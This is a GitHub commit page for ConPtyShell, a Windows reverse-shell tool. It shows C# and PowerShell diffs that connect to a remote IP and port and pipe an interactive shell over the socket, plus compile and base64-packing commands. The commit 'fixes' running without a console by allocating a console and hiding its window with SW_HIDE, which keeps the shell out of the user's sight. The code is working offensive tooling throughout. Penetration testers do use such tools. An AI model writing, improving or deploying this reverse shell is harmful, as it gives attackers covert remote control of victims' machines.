Skip to content

Commit 5da4a8e

Browse files
committed
Fixed bug when caller process does not have a console
1 parent 3f834c5 commit 5da4a8e

5 files changed

Lines changed: 106 additions & 19 deletions

File tree

ConPtyShell.cs

Lines changed: 37 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,7 @@ public static class ConPtyShell
1818
private const int BUFFER_SIZE_PIPE = 1048576;
1919

2020
private const UInt32 INFINITE = 0xFFFFFFFF;
21+
private const int SW_HIDE = 0;
2122
private const uint GENERIC_READ = 0x80000000;
2223
private const uint GENERIC_WRITE = 0x40000000;
2324
private const uint FILE_SHARE_READ = 0x00000001;
@@ -137,6 +138,19 @@ private struct COORD
137138
[DllImport("kernel32.dll", SetLastError = true)]
138139
private static extern bool GetConsoleMode(IntPtr handle, out uint mode);
139140

141+
[DllImport("kernel32.dll")]
142+
[return: MarshalAs(UnmanagedType.Bool)]
143+
private static extern bool AllocConsole();
144+
145+
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
146+
private static extern bool FreeConsole();
147+
148+
[DllImport("user32.dll")]
149+
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
150+
151+
[DllImport("kernel32.dll")]
152+
private static extern IntPtr GetConsoleWindow();
153+
140154
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
141155
private static extern IntPtr GetModuleHandle(string lpModuleName);
142156

@@ -188,14 +202,23 @@ private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWr
188202
throw new InvalidOperationException("Could not create the OutputPipe");
189203
}
190204

191-
private static void InitConsole(){
205+
private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr){
206+
oldStdIn = GetStdHandle(STD_INPUT_HANDLE);
207+
oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
208+
oldStdErr = GetStdHandle(STD_ERROR_HANDLE);
192209
IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
193210
IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
194211
SetStdHandle(STD_OUTPUT_HANDLE, hStdout);
195212
SetStdHandle(STD_ERROR_HANDLE, hStdout);
196213
SetStdHandle(STD_INPUT_HANDLE, hStdin);
197214
}
198215

216+
private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr){
217+
SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut);
218+
SetStdHandle(STD_ERROR_HANDLE, oldStdErr);
219+
SetStdHandle(STD_INPUT_HANDLE, oldStdIn);
220+
}
221+
199222
private static void EnableVirtualTerminalSequenceProcessing()
200223
{
201224
uint outConsoleMode = 0;
@@ -333,9 +356,13 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows
333356
IntPtr OutputPipeRead = new IntPtr(0);
334357
IntPtr OutputPipeWrite = new IntPtr(0);
335358
IntPtr handlePseudoConsole = new IntPtr(0);
359+
IntPtr oldStdIn = new IntPtr(0);
360+
IntPtr oldStdOut = new IntPtr(0);
361+
IntPtr oldStdErr = new IntPtr(0);
362+
bool newConsoleAllocated = false;
336363
PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION();
337364
CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite);
338-
InitConsole();
365+
InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr);
339366
if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") == IntPtr.Zero){
340367
Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n");
341368
STARTUPINFO sInfo = new STARTUPINFO();
@@ -348,6 +375,11 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows
348375
}
349376
else{
350377
Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell...\r\n");
378+
if(GetConsoleWindow() == IntPtr.Zero){
379+
AllocConsole();
380+
ShowWindow(GetConsoleWindow(), SW_HIDE);
381+
newConsoleAllocated = true;
382+
}
351383
int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols);
352384
if(pseudoConsoleCreationResult != 0)
353385
{
@@ -370,6 +402,9 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows
370402
thReadSocketWritePipe.Abort();
371403
shellSocket.Shutdown(SocketShutdown.Both);
372404
shellSocket.Close();
405+
RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr);
406+
if(newConsoleAllocated)
407+
FreeConsole();
373408
CloseHandle(childProcessInfo.hThread);
374409
CloseHandle(childProcessInfo.hProcess);
375410
if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole);

Invoke-ConPtyShell.ps1

Lines changed: 65 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -109,8 +109,10 @@ public static class ConPtyShell
109109
private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
110110
private const uint CREATE_NO_WINDOW = 0x08000000;
111111
private const int STARTF_USESTDHANDLES = 0x00000100;
112+
private const int BUFFER_SIZE_PIPE = 1048576;
112113
113114
private const UInt32 INFINITE = 0xFFFFFFFF;
115+
private const int SW_HIDE = 0;
114116
private const uint GENERIC_READ = 0x80000000;
115117
private const uint GENERIC_WRITE = 0x40000000;
116118
private const uint FILE_SHARE_READ = 0x00000001;
@@ -207,7 +209,7 @@ public static class ConPtyShell
207209
private static extern bool CloseHandle(IntPtr hObject);
208210
209211
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
210-
private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);
212+
private static extern bool CreatePipe(out IntPtr hReadPipe, out IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, int nSize);
211213
212214
[DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
213215
private static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr SecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
@@ -230,6 +232,19 @@ public static class ConPtyShell
230232
[DllImport("kernel32.dll", SetLastError = true)]
231233
private static extern bool GetConsoleMode(IntPtr handle, out uint mode);
232234
235+
[DllImport("kernel32.dll")]
236+
[return: MarshalAs(UnmanagedType.Bool)]
237+
private static extern bool AllocConsole();
238+
239+
[DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
240+
private static extern bool FreeConsole();
241+
242+
[DllImport("user32.dll")]
243+
private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
244+
245+
[DllImport("kernel32.dll")]
246+
private static extern IntPtr GetConsoleWindow();
247+
233248
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
234249
private static extern IntPtr GetModuleHandle(string lpModuleName);
235250
@@ -271,22 +286,33 @@ public static class ConPtyShell
271286
}
272287
273288
private static void CreatePipes(ref IntPtr InputPipeRead, ref IntPtr InputPipeWrite, ref IntPtr OutputPipeRead, ref IntPtr OutputPipeWrite){
274-
int securityAttributeSize = Marshal.SizeOf<SECURITY_ATTRIBUTES>();
275-
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize, bInheritHandle=1, lpSecurityDescriptor=IntPtr.Zero };
276-
if(!CreatePipe(out InputPipeRead, out InputPipeWrite, pSec, 0))
289+
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
290+
pSec.nLength = Marshal.SizeOf(pSec);
291+
pSec.bInheritHandle=1;
292+
pSec.lpSecurityDescriptor=IntPtr.Zero;
293+
if(!CreatePipe(out InputPipeRead, out InputPipeWrite, ref pSec, BUFFER_SIZE_PIPE))
277294
throw new InvalidOperationException("Could not create the InputPipe");
278-
if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, pSec, 0))
295+
if(!CreatePipe(out OutputPipeRead, out OutputPipeWrite, ref pSec, BUFFER_SIZE_PIPE))
279296
throw new InvalidOperationException("Could not create the OutputPipe");
280297
}
281298
282-
private static void InitConsole(){
299+
private static void InitConsole(ref IntPtr oldStdIn, ref IntPtr oldStdOut, ref IntPtr oldStdErr){
300+
oldStdIn = GetStdHandle(STD_INPUT_HANDLE);
301+
oldStdOut = GetStdHandle(STD_OUTPUT_HANDLE);
302+
oldStdErr = GetStdHandle(STD_ERROR_HANDLE);
283303
IntPtr hStdout = CreateFile("CONOUT$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
284304
IntPtr hStdin = CreateFile("CONIN$", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, IntPtr.Zero);
285305
SetStdHandle(STD_OUTPUT_HANDLE, hStdout);
286306
SetStdHandle(STD_ERROR_HANDLE, hStdout);
287307
SetStdHandle(STD_INPUT_HANDLE, hStdin);
288308
}
289309
310+
private static void RestoreStdHandles(IntPtr oldStdIn, IntPtr oldStdOut, IntPtr oldStdErr){
311+
SetStdHandle(STD_OUTPUT_HANDLE, oldStdOut);
312+
SetStdHandle(STD_ERROR_HANDLE, oldStdErr);
313+
SetStdHandle(STD_INPUT_HANDLE, oldStdIn);
314+
}
315+
290316
private static void EnableVirtualTerminalSequenceProcessing()
291317
{
292318
uint outConsoleMode = 0;
@@ -305,7 +331,10 @@ public static class ConPtyShell
305331
private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){
306332
int result = -1;
307333
EnableVirtualTerminalSequenceProcessing();
308-
result = CreatePseudoConsole(new COORD { X = (short)cols, Y = (short)rows }, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole);
334+
COORD consoleCoord = new COORD();
335+
consoleCoord.X=(short)cols;
336+
consoleCoord.Y=(short)rows;
337+
result = CreatePseudoConsole(consoleCoord, ConPtyInputPipeRead, ConPtyOutputPipeWrite, 0, out handlePseudoConsole);
309338
return result;
310339
}
311340
@@ -318,7 +347,7 @@ public static class ConPtyShell
318347
throw new InvalidOperationException("Could not calculate the number of bytes for the attribute list. " + Marshal.GetLastWin32Error());
319348
}
320349
STARTUPINFOEX startupInfo = new STARTUPINFOEX();
321-
startupInfo.StartupInfo.cb = Marshal.SizeOf<STARTUPINFOEX>();
350+
startupInfo.StartupInfo.cb = Marshal.SizeOf(startupInfo);
322351
startupInfo.lpAttributeList = Marshal.AllocHGlobal(lpSize);
323352
success = InitializeProcThreadAttributeList(startupInfo.lpAttributeList, 1, 0, ref lpSize);
324353
if (!success)
@@ -336,9 +365,11 @@ public static class ConPtyShell
336365
private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string commandLine)
337366
{
338367
PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();
339-
int securityAttributeSize = Marshal.SizeOf<SECURITY_ATTRIBUTES>();
340-
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize };
341-
SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES { nLength = securityAttributeSize };
368+
SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES();
369+
int securityAttributeSize = Marshal.SizeOf(pSec);
370+
pSec.nLength = securityAttributeSize;
371+
SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES();
372+
tSec.nLength = securityAttributeSize;
342373
bool success = CreateProcess(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo);
343374
if (!success)
344375
{
@@ -419,9 +450,13 @@ public static class ConPtyShell
419450
IntPtr OutputPipeRead = new IntPtr(0);
420451
IntPtr OutputPipeWrite = new IntPtr(0);
421452
IntPtr handlePseudoConsole = new IntPtr(0);
453+
IntPtr oldStdIn = new IntPtr(0);
454+
IntPtr oldStdOut = new IntPtr(0);
455+
IntPtr oldStdErr = new IntPtr(0);
456+
bool newConsoleAllocated = false;
422457
PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION();
423458
CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite);
424-
InitConsole();
459+
InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr);
425460
if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") == IntPtr.Zero){
426461
Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n");
427462
STARTUPINFO sInfo = new STARTUPINFO();
@@ -434,6 +469,11 @@ public static class ConPtyShell
434469
}
435470
else{
436471
Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell...\r\n");
472+
if(GetConsoleWindow() == IntPtr.Zero){
473+
AllocConsole();
474+
ShowWindow(GetConsoleWindow(), SW_HIDE);
475+
newConsoleAllocated = true;
476+
}
437477
int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols);
438478
if(pseudoConsoleCreationResult != 0)
439479
{
@@ -456,6 +496,9 @@ public static class ConPtyShell
456496
thReadSocketWritePipe.Abort();
457497
shellSocket.Shutdown(SocketShutdown.Both);
458498
shellSocket.Close();
499+
RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr);
500+
if(newConsoleAllocated)
501+
FreeConsole();
459502
CloseHandle(childProcessInfo.hThread);
460503
CloseHandle(childProcessInfo.hProcess);
461504
if (handlePseudoConsole != IntPtr.Zero) ClosePseudoConsole(handlePseudoConsole);
@@ -467,7 +510,8 @@ public static class ConPtyShell
467510
}
468511
469512
public static class ConPtyShellMainClass{
470-
private static string help = "";
513+
private static string help = @"
514+
";
471515
472516
private static bool HelpRequired(string param)
473517
{
@@ -548,4 +592,12 @@ public static class ConPtyShellMainClass{
548592
return output;
549593
}
550594
}
595+
596+
597+
class MainClass{
598+
static void Main(string[] args)
599+
{
600+
Console.Out.Write(ConPtyShellMainClass.ConPtyShellMain(args));
601+
}
602+
}
551603
"@;

Invoke-ConPtyShell2.ps1

Lines changed: 1 addition & 1 deletion
Large diffs are not rendered by default.

base64_conversion_commands.ps1

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,3 @@
1-
$Filename = (Get-Location).Path + "\ConPtyShell.exe"
1+
$Filename = (Get-Location).Path + "\ConPtyShell_net2.exe"
22
$base64string_x64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($FileName))
33
$base64string_x64 | Out-File ConPtyShell.base64

compile_command.txt

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,5 @@
11
.NET 4.0
2-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:ConPtyShell.exe ConPtyShell.cs
2+
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe -target:exe -optimize -out:ConPtyShell_net4.exe ConPtyShell.cs
33

44
.NET 2.0
5-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:ConPtyShell.exe ConPtyShell.cs
5+
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe -target:exe -optimize -out:ConPtyShell_net2.exe ConPtyShell.cs

0 commit comments

Comments
 (0)